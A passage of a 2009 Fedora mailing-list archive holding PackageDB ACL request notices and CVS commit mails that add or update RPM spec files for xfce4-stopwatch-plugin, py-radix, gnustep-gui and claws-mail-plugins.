richardfearn has requested the watchbugzilla acl on python-gdata (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:32 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested watchcommits
Message-ID: <20091013171632.2E60510F8B1@bastion2.fedora.phx.redhat.com>

richardfearn has requested the watchcommits acl on python-gdata (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:33 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested commit
Message-ID: <20091013171633.34EF610F8B6@bastion2.fedora.phx.redhat.com>

richardfearn has requested the commit acl on python-gdata (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:34 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested approveacls
Message-ID: <20091013171634.A494310F88B@bastion2.fedora.phx.redhat.com>

richardfearn has requested the approveacls acl on python-gdata (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:36 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested watchbugzilla
Message-ID: <20091013171636.D315B10F8BC@bastion2.fedora.phx.redhat.com>

richardfearn has requested the watchbugzilla acl on python-gdata (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 17:16:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 17:16:37 +0000
Subject: [pkgdb] python-gdata: richardfearn has requested approveacls
Message-ID: <20091013171637.C976810F8BE@bastion2.fedora.phx.redhat.com>

richardfearn has requested the approveacls acl on python-gdata (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From cwickert at fedoraproject.org  Tue Oct 13 17:23:58 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 13 Oct 2009 17:23:58 +0000 (UTC)
Subject: rpms/xfce4-stopwatch-plugin/devel import.log, NONE,
	1.1 xfce4-stopwatch-plugin.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091013172358.659F611C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfce4-stopwatch-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5713/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log xfce4-stopwatch-plugin.spec 
Log Message:
Initial import of xfce4-stopwatch-plugin. Review at
https://bugzilla.redhat.com/show_bug.cgi?id=514351



--- NEW FILE import.log ---
xfce4-stopwatch-plugin-0_2_0-2_fc12:HEAD:xfce4-stopwatch-plugin-0.2.0-2.fc12.src.rpm:1255454050


--- NEW FILE xfce4-stopwatch-plugin.spec ---
Name:		xfce4-stopwatch-plugin
Version:	0.2.0
Release:	2%{?dist}
Summary:	Stopwatch plugin for the Xfce panel

Group:		User Interface/Desktops
License:	BSD
URL:		http://goodies.xfce.org/projects/panel-plugins/%{name}
Source0:	http://archive.xfce.org/src/panel-plugins/%{name}/0.2/%{name}-%{version}.tar.bz2
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	xfce4-panel-devel >= 4.0.0, libxfcegui4-devel >= 4.6.0
BuildRequires:	gettext, intltool, libxml2-devel
Requires:	xfce4-panel >= 4.6.0

%description
The xfce-stopwatch-plugin is a panel plugin to keep track of elapsed time. 
There are no ways to configure the plugin at this time, just add it to the 
panel. The time elapsed will be saved when your panel quits and restored next 
time it?s running. If time was ticking, it will not start ticking again 
automatically.


%prep
%setup -q


%build
%configure --disable-static
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT INSTALL='install -p'


%clean
rm -rf $RPM_BUILD_ROOT


%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :


%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files 
%defattr(-,root,root,-)
%doc AUTHORS COPYING NEWS
%{_libexecdir}/xfce4/panel-plugins/%{name}
%{_datadir}/xfce4/panel-plugins/*.desktop
%{_datadir}/icons/hicolor/*/apps/%{name}*


%changelog
* Sat Aug 01 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.0-2
- Fix Source0 URL
- Fix two typos in spec file

* Tue Jul 28 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.2.0-1
- Initial Fedora package.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-stopwatch-plugin/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:30:43 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:23:58 -0000	1.2
@@ -0,0 +1 @@
+xfce4-stopwatch-plugin-0.2.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-stopwatch-plugin/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:30:43 -0000	1.1
+++ sources	13 Oct 2009 17:23:58 -0000	1.2
@@ -0,0 +1 @@
+2ce672f294ee42cdc49ddbe1a1d8ae96  xfce4-stopwatch-plugin-0.2.0.tar.bz2



From mdomsch at fedoraproject.org  Tue Oct 13 17:25:31 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue, 13 Oct 2009 17:25:31 +0000 (UTC)
Subject: rpms/py-radix/EL-4 py-radix.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091013172531.70B3611C00E8@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8916

Modified Files:
	.cvsignore sources 
Added Files:
	py-radix.spec 
Log Message:
initial import


--- NEW FILE py-radix.spec ---
Name: py-radix
Summary: Radix tree data structure for Python
Version: 0.5
Release: 5%{?dist}
Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
License: BSD with advertising
Group: Development/Libraries
BuildRoot: %{_tmppath}/%{name}-buildroot
BuildRequires: python-devel
Url: http://www.mindrot.org/py-radix.html

%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}


%description
py-radix is an implementation of a radix tree for Python, which 
supports storage and lookups of IPv4 and IPv6 networks. 

The radix tree (a.k.a Patricia tree) is the data structure most 
commonly used for routing table lookups. It efficiently stores 
network prefixes of varying lengths and allows fast lookups of 
containing networks. py-radix's implementation is built solely 
for networks (the data structure itself is more general). 

%prep
%setup -q
rm -f inet_ntop.c strlcpy.c
touch inet_ntop.c strlcpy.c

%build
%{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install --root=$RPM_BUILD_ROOT

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root)
%{python_sitearch}/radix*
%doc LICENSE README TODO ChangeLog

%changelog
* Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
- remove inet_ntop.c and strlcpy.c for safety.  They're only used on
  Windows.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-4
- more package cleanups during review
  - quiet setup, clean buildroot at install, drop python Requires,
    add dist tag.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-2
- update for Fedora packaging guidelines

* Wed Jun 28 2006 Damien Miller <djm at mindrot.org>
- Build RPM


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/py-radix/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:31:45 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:25:31 -0000	1.2
@@ -0,0 +1 @@
+py-radix-0.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/py-radix/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:31:45 -0000	1.1
+++ sources	13 Oct 2009 17:25:31 -0000	1.2
@@ -0,0 +1 @@
+8c853ce312b769de627d958a1cd6e5a0  py-radix-0.5.tar.gz



From s4504kr at fedoraproject.org  Tue Oct 13 17:28:36 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Tue, 13 Oct 2009 17:28:36 +0000 (UTC)
Subject: rpms/gnustep-gui/devel gnustep-gui.spec,1.3,1.4
Message-ID: <20091013172836.1BAC311C00E8@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/gnustep-gui/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10181

Modified Files:
	gnustep-gui.spec 
Log Message:
Fixing missing BRs


Index: gnustep-gui.spec
===================================================================
RCS file: /cvs/extras/rpms/gnustep-gui/devel/gnustep-gui.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gnustep-gui.spec	13 Oct 2009 17:04:54 -0000	1.3
+++ gnustep-gui.spec	13 Oct 2009 17:28:35 -0000	1.4
@@ -17,7 +17,7 @@ BuildRequires:  cups-devel
 BuildRequires:  aspell-devel
 BuildRequires:  giflib-devel
 BuildRequires:  audiofile-devel
-BuildRequires:  portaudio
+BuildRequires:  portaudio-devel >= 19
 BuildRequires:	texinfo, texi2html, texinfo-tex
 BuildRequires:  gnustep-make
 BuildRequires:  gnustep-base-devel



From awjb at fedoraproject.org  Tue Oct 13 17:29:04 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Tue, 13 Oct 2009 17:29:04 +0000 (UTC)
Subject: rpms/claws-mail-plugins/F-11 .cvsignore, 1.21,
	1.22 claws-mail-plugins.spec, 1.43, 1.44 sources, 1.21,
	1.22 fancy-free.patch, 1.1, NONE
Message-ID: <20091013172904.6E5F511C00E8@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail-plugins/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10151/F-11

Modified Files:
	.cvsignore claws-mail-plugins.spec sources 
Removed Files:
	fancy-free.patch 
Log Message:
- version upgrade



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-11/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	7 Jul 2009 04:42:02 -0000	1.21
+++ .cvsignore	13 Oct 2009 17:29:04 -0000	1.22
@@ -1 +1 @@
-claws-mail-extra-plugins-3.7.2.tar.bz2
+claws-mail-extra-plugins-3.7.3.tar.bz2


Index: claws-mail-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-11/claws-mail-plugins.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- claws-mail-plugins.spec	7 Aug 2009 06:37:34 -0000	1.43
+++ claws-mail-plugins.spec	13 Oct 2009 17:29:04 -0000	1.44
@@ -3,31 +3,31 @@
 %define archive		0.6.5
 %define attachwarner    0.2.17
 %define attremover	1.0.10
+%define bsfilter        1.0.2
 %define cachesaver	0.10.9
-%define fancy           0.9.7
+%define fancy           0.9.8
 %define fetchinfo	0.4.24
-%define gtkhtml2viewer  0.24
+%define gtkhtml2viewer  0.25
 %define mailmbox	1.14.3
 %define newmail		0.0.15
-%define notification	0.22
-%define perl		0.9.15
+%define notification	0.23
+%define perl		0.9.16
+%define python          0.2
 %define rssyl		0.25
 %define spamreport      0.3.9
 %define synce		0.7.5
-%define tnef            0.3.5
-%define vcalendar	2.0.5
+%define tnef            0.3.6
+%define vcalendar	2.0.6
 
 Name:           claws-mail-plugins
-Version:        3.7.2
-Release:        3%{?dist}
+Version:        3.7.3
+Release:        1%{?dist}
 Summary:        Additional plugins for claws-mail
 
 Group:          Applications/Internet
 License:        GPLv2 and GPLv3+ and MIT
 URL:            http://claws-mail.org
 Source0:        http://downloads.sourceforge.net/sylpheed-claws/claws-mail-extra-plugins-%{version}.tar.bz2
-# fix double free in fancy plugin (#515373) from upstream svn
-Patch0:         fancy-free.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  claws-mail-devel >= %{version}
@@ -49,11 +49,14 @@ BuildRequires:  enchant-devel
 BuildRequires:  webkitgtk-devel
 # fix #496149
 BuildRequires:  libnotify-devel
+BuildRequires:  python
+BuildRequires:  libcanberra-devel
 
 Requires:       %{name}-acpi-notifier = %{version}-%{release}
 Requires:       %{name}-archive = %{version}-%{release}
 Requires:       %{name}-att-remover = %{version}-%{release}
 Requires:       %{name}-attachwarner = %{version}-%{release}
+Requires:       %{name}-bsfilter = %{version}-%{release}
 Requires:       %{name}-cachesaver = %{version}-%{release}
 Obsoletes:      %{name}-etpan-privacy < %{version}-%{release}
 Requires:       %{name}-fancy = %{version}-%{release}
@@ -64,6 +67,7 @@ Requires:       %{name}-mailmbox = %{ver
 Requires:       %{name}-newmail = %{version}-%{release}
 Requires:       %{name}-notification = %{version}-%{release}
 Requires:       %{name}-perl = %{version}-%{release}
+Requires:       %{name}-python = %{version}-%{release}
 Requires:       %{name}-rssyl = %{version}-%{release}
 Requires:       %{name}-spam-report = %{version}-%{release}
 Requires:       %{name}-synce = %{version}-%{release}
@@ -126,6 +130,13 @@ Obsoletes:      sylpheed-claws-plugins-a
 Enables the removal of attachments from emails.When right-clicking a message,
 choose 'Remove attachments' from the submenu.
 
+%package bsfilter
+Summary:        Bayesian spam filtering for claws-mail
+Group:          Applications/Internet
+Requires:	claws-mail >= %{version}
+
+%description bsfilter
+Bayesian spam filtering for claws-mail using Bsfilter.
 
 %package cachesaver
 Summary:        A cache saving plugin
@@ -217,6 +228,17 @@ Obsoletes:      sylpheed-claws-plugins-p
 This plugin provides an extended filtering engine for the email client
 claws-mail. It allows for the use of full perl power in email filters.
 
+%package python
+Summary:        Python scripting access to claws-mail
+Group:          Applications/Internet
+Requires:	claws-mail >= %{version}
+
+%description python
+This plugin offers a Python scripting access to Claws Mail. Python code can be
+entered interactively into an embedded Python console, or stored in scripts
+under ~/.claws-mail/python-scripts. The scripts are then accessible via the
+menu of the main window.
+
 %package rssyl
 Summary:        RSS plugin for claws-mail
 Group:          Applications/Internet
@@ -270,7 +292,6 @@ exporting of your meetings or all your c
 
 %prep
 %setup -q -n claws-mail-extra-plugins-%{version}
-%patch0 -p1
 
 %build
 #acpi_notifier
@@ -292,6 +313,11 @@ cd ../att_remover-%{attremover}
 %configure --disable-static --disable-dependency-tracking
 %{__make} %{?_smp_mflags}
 
+# bsfilter
+cd ../bsfilter_plugin-%{bsfilter}
+%configure --disable-static --disable-dependency-tracking
+%{__make} %{?_smp_mflags}
+
 # cachesaver
 cd ../cachesaver-%{cachesaver}
 %configure --disable-static --disable-dependency-tracking
@@ -332,6 +358,12 @@ cd ../perl_plugin-%{perl}
 %configure --disable-static --disable-dependency-tracking
 %{__make} %{?_smp_mflags}
 
+#python
+cd ../python_plugin-%{python}
+%configure --disable-static --disable-dependency-tracking
+%{__make} %{?_smp_mflags}
+
+
 #rssyl
 cd ../rssyl-%{rssyl}
 %configure --disable-static --disable-dependency-tracking
@@ -384,6 +416,12 @@ cd att_remover-%{attremover}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
 cd -
 
+# bsfilter_plugin
+cd bsfilter_plugin-%{bsfilter}
+%{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
+cd -
+%find_lang bsfilter_plugin
+
 # cachesaver
 cd cachesaver-%{cachesaver}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
@@ -427,6 +465,11 @@ cd perl_plugin-%{perl}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
 cd -
 
+#python
+cd python_plugin-%{python}
+%{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
+cd -
+
 #rssyl
 cd rssyl-%{rssyl}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
@@ -508,6 +551,14 @@ rm -rf $RPM_BUILD_ROOT
 %doc att_remover-%{attremover}/README
 %{_libdir}/claws-mail/plugins/att_remover*
 
+%files bsfilter -f bsfilter_plugin.lang
+%defattr(-,root,root,-)
+%doc bsfilter_plugin-%{bsfilter}/AUTHORS
+%doc bsfilter_plugin-%{bsfilter}/ChangeLog
+%doc bsfilter_plugin-%{bsfilter}/COPYING
+%doc bsfilter_plugin-%{bsfilter}/README
+%{_libdir}/claws-mail/plugins/bsfilter*
+
 %files cachesaver
 %defattr(-,root,root,-)
 %doc cachesaver-%{cachesaver}/AUTHORS
@@ -569,6 +620,14 @@ rm -rf $RPM_BUILD_ROOT
 %doc perl_plugin-%{perl}/README
 %{_libdir}/claws-mail/plugins/perl_plugin.so
 
+%files python
+%defattr(-,root,root,-)
+%doc python_plugin-%{python}/AUTHORS
+%doc python_plugin-%{python}/ChangeLog
+%doc python_plugin-%{python}/COPYING
+%doc python_plugin-%{python}/README
+%{_libdir}/claws-mail/plugins/python_plugin*
+
 %files rssyl -f rssyl.lang
 %defattr(-,root,root,-)
 %doc rssyl-%{rssyl}/AUTHORS
@@ -609,6 +668,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/claws-mail/plugins/vcalendar/
 
 %changelog
+* Mon Oct 12 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 3.7.3-1
+- version upgrade
+- new plugins bsfilter, python
+
 * Fri Aug 07 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
 - 3.7.2-3
 - fix crash in fancy plugin (#515373)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-11/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	7 Jul 2009 04:42:02 -0000	1.21
+++ sources	13 Oct 2009 17:29:04 -0000	1.22
@@ -1 +1 @@
-0bdbbf69b2420e4bbb8d0ae85f9f85d6  claws-mail-extra-plugins-3.7.2.tar.bz2
+aa397973a01893c0ce1b96402020ab62  claws-mail-extra-plugins-3.7.3.tar.bz2


--- fancy-free.patch DELETED ---



From awjb at fedoraproject.org  Tue Oct 13 17:29:04 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Tue, 13 Oct 2009 17:29:04 +0000 (UTC)
Subject: rpms/claws-mail-plugins/F-12 .cvsignore, 1.21,
	1.22 claws-mail-plugins.spec, 1.44, 1.45 sources, 1.21,
	1.22 fancy-free.patch, 1.1, NONE
Message-ID: <20091013172904.E9BC611C00E8@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10151/F-12

Modified Files:
	.cvsignore claws-mail-plugins.spec sources 
Removed Files:
	fancy-free.patch 
Log Message:
- version upgrade



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-12/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	7 Jul 2009 04:42:02 -0000	1.21
+++ .cvsignore	13 Oct 2009 17:29:04 -0000	1.22
@@ -1 +1 @@
-claws-mail-extra-plugins-3.7.2.tar.bz2
+claws-mail-extra-plugins-3.7.3.tar.bz2


Index: claws-mail-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-12/claws-mail-plugins.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- claws-mail-plugins.spec	7 Aug 2009 06:37:35 -0000	1.44
+++ claws-mail-plugins.spec	13 Oct 2009 17:29:04 -0000	1.45
@@ -3,31 +3,31 @@
 %define archive		0.6.5
 %define attachwarner    0.2.17
 %define attremover	1.0.10
+%define bsfilter        1.0.2
 %define cachesaver	0.10.9
-%define fancy           0.9.7
+%define fancy           0.9.8
 %define fetchinfo	0.4.24
-%define gtkhtml2viewer  0.24
+%define gtkhtml2viewer  0.25
 %define mailmbox	1.14.3
 %define newmail		0.0.15
-%define notification	0.22
-%define perl		0.9.15
+%define notification	0.23
+%define perl		0.9.16
+%define python          0.2
 %define rssyl		0.25
 %define spamreport      0.3.9
 %define synce		0.7.5
-%define tnef            0.3.5
-%define vcalendar	2.0.5
+%define tnef            0.3.6
+%define vcalendar	2.0.6
 
 Name:           claws-mail-plugins
-Version:        3.7.2
-Release:        3%{?dist}
+Version:        3.7.3
+Release:        1%{?dist}
 Summary:        Additional plugins for claws-mail
 
 Group:          Applications/Internet
 License:        GPLv2 and GPLv3+ and MIT
 URL:            http://claws-mail.org
 Source0:        http://downloads.sourceforge.net/sylpheed-claws/claws-mail-extra-plugins-%{version}.tar.bz2
-# fix double free in fancy plugin (#515373) from upstream svn
-Patch0:         fancy-free.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  claws-mail-devel >= %{version}
@@ -49,11 +49,14 @@ BuildRequires:  enchant-devel
 BuildRequires:  webkitgtk-devel
 # fix #496149
 BuildRequires:  libnotify-devel
+BuildRequires:  python
+BuildRequires:  libcanberra-devel
 
 Requires:       %{name}-acpi-notifier = %{version}-%{release}
 Requires:       %{name}-archive = %{version}-%{release}
 Requires:       %{name}-att-remover = %{version}-%{release}
 Requires:       %{name}-attachwarner = %{version}-%{release}
+Requires:       %{name}-bsfilter = %{version}-%{release}
 Requires:       %{name}-cachesaver = %{version}-%{release}
 Obsoletes:      %{name}-etpan-privacy < %{version}-%{release}
 Requires:       %{name}-fancy = %{version}-%{release}
@@ -64,6 +67,7 @@ Requires:       %{name}-mailmbox = %{ver
 Requires:       %{name}-newmail = %{version}-%{release}
 Requires:       %{name}-notification = %{version}-%{release}
 Requires:       %{name}-perl = %{version}-%{release}
+Requires:       %{name}-python = %{version}-%{release}
 Requires:       %{name}-rssyl = %{version}-%{release}
 Requires:       %{name}-spam-report = %{version}-%{release}
 Requires:       %{name}-synce = %{version}-%{release}
@@ -126,6 +130,13 @@ Obsoletes:      sylpheed-claws-plugins-a
 Enables the removal of attachments from emails.When right-clicking a message,
 choose 'Remove attachments' from the submenu.
 
+%package bsfilter
+Summary:        Bayesian spam filtering for claws-mail
+Group:          Applications/Internet
+Requires:	claws-mail >= %{version}
+
+%description bsfilter
+Bayesian spam filtering for claws-mail using Bsfilter.
 
 %package cachesaver
 Summary:        A cache saving plugin
@@ -217,6 +228,17 @@ Obsoletes:      sylpheed-claws-plugins-p
 This plugin provides an extended filtering engine for the email client
 claws-mail. It allows for the use of full perl power in email filters.
 
+%package python
+Summary:        Python scripting access to claws-mail
+Group:          Applications/Internet
+Requires:	claws-mail >= %{version}
+
+%description python
+This plugin offers a Python scripting access to Claws Mail. Python code can be
+entered interactively into an embedded Python console, or stored in scripts
+under ~/.claws-mail/python-scripts. The scripts are then accessible via the
+menu of the main window.
+
 %package rssyl
 Summary:        RSS plugin for claws-mail
 Group:          Applications/Internet
@@ -270,7 +292,6 @@ exporting of your meetings or all your c
 
 %prep
 %setup -q -n claws-mail-extra-plugins-%{version}
-%patch0 -p1
 
 %build
 #acpi_notifier
@@ -292,6 +313,11 @@ cd ../att_remover-%{attremover}
 %configure --disable-static --disable-dependency-tracking
 %{__make} %{?_smp_mflags}
 
+# bsfilter
+cd ../bsfilter_plugin-%{bsfilter}
+%configure --disable-static --disable-dependency-tracking
+%{__make} %{?_smp_mflags}
+
 # cachesaver
 cd ../cachesaver-%{cachesaver}
 %configure --disable-static --disable-dependency-tracking
@@ -332,6 +358,12 @@ cd ../perl_plugin-%{perl}
 %configure --disable-static --disable-dependency-tracking
 %{__make} %{?_smp_mflags}
 
+#python
+cd ../python_plugin-%{python}
+%configure --disable-static --disable-dependency-tracking
+%{__make} %{?_smp_mflags}
+
+
 #rssyl
 cd ../rssyl-%{rssyl}
 %configure --disable-static --disable-dependency-tracking
@@ -384,6 +416,12 @@ cd att_remover-%{attremover}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
 cd -
 
+# bsfilter_plugin
+cd bsfilter_plugin-%{bsfilter}
+%{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
+cd -
+%find_lang bsfilter_plugin
+
 # cachesaver
 cd cachesaver-%{cachesaver}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
@@ -427,6 +465,11 @@ cd perl_plugin-%{perl}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
 cd -
 
+#python
+cd python_plugin-%{python}
+%{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
+cd -
+
 #rssyl
 cd rssyl-%{rssyl}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
@@ -508,6 +551,14 @@ rm -rf $RPM_BUILD_ROOT
 %doc att_remover-%{attremover}/README
 %{_libdir}/claws-mail/plugins/att_remover*
 
+%files bsfilter -f bsfilter_plugin.lang
+%defattr(-,root,root,-)
+%doc bsfilter_plugin-%{bsfilter}/AUTHORS
+%doc bsfilter_plugin-%{bsfilter}/ChangeLog
+%doc bsfilter_plugin-%{bsfilter}/COPYING
+%doc bsfilter_plugin-%{bsfilter}/README
+%{_libdir}/claws-mail/plugins/bsfilter*
+
 %files cachesaver
 %defattr(-,root,root,-)
 %doc cachesaver-%{cachesaver}/AUTHORS
@@ -569,6 +620,14 @@ rm -rf $RPM_BUILD_ROOT
 %doc perl_plugin-%{perl}/README
 %{_libdir}/claws-mail/plugins/perl_plugin.so
 
+%files python
+%defattr(-,root,root,-)
+%doc python_plugin-%{python}/AUTHORS
+%doc python_plugin-%{python}/ChangeLog
+%doc python_plugin-%{python}/COPYING
+%doc python_plugin-%{python}/README
+%{_libdir}/claws-mail/plugins/python_plugin*
+
 %files rssyl -f rssyl.lang
 %defattr(-,root,root,-)
 %doc rssyl-%{rssyl}/AUTHORS
@@ -609,6 +668,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/claws-mail/plugins/vcalendar/
 
 %changelog
+* Mon Oct 12 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 3.7.3-1
+- version upgrade
+- new plugins bsfilter, python
+
 * Fri Aug 07 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
 - 3.7.2-3
 - fix crash in fancy plugin (#515373)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-12/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	7 Jul 2009 04:42:02 -0000	1.21
+++ sources	13 Oct 2009 17:29:04 -0000	1.22
@@ -1 +1 @@
-0bdbbf69b2420e4bbb8d0ae85f9f85d6  claws-mail-extra-plugins-3.7.2.tar.bz2
+aa397973a01893c0ce1b96402020ab62  claws-mail-extra-plugins-3.7.3.tar.bz2


--- fancy-free.patch DELETED ---



From awjb at fedoraproject.org  Tue Oct 13 17:29:05 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Tue, 13 Oct 2009 17:29:05 +0000 (UTC)
Subject: rpms/claws-mail-plugins/devel .cvsignore, 1.21,
	1.22 claws-mail-plugins.spec, 1.44, 1.45 sources, 1.21,
	1.22 fancy-free.patch, 1.1, NONE
Message-ID: <20091013172905.72E6111C00E8@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10151/devel

Modified Files:
	.cvsignore claws-mail-plugins.spec sources 
Removed Files:
	fancy-free.patch 
Log Message:
- version upgrade



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/devel/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	7 Jul 2009 04:42:02 -0000	1.21
+++ .cvsignore	13 Oct 2009 17:29:05 -0000	1.22
@@ -1 +1 @@
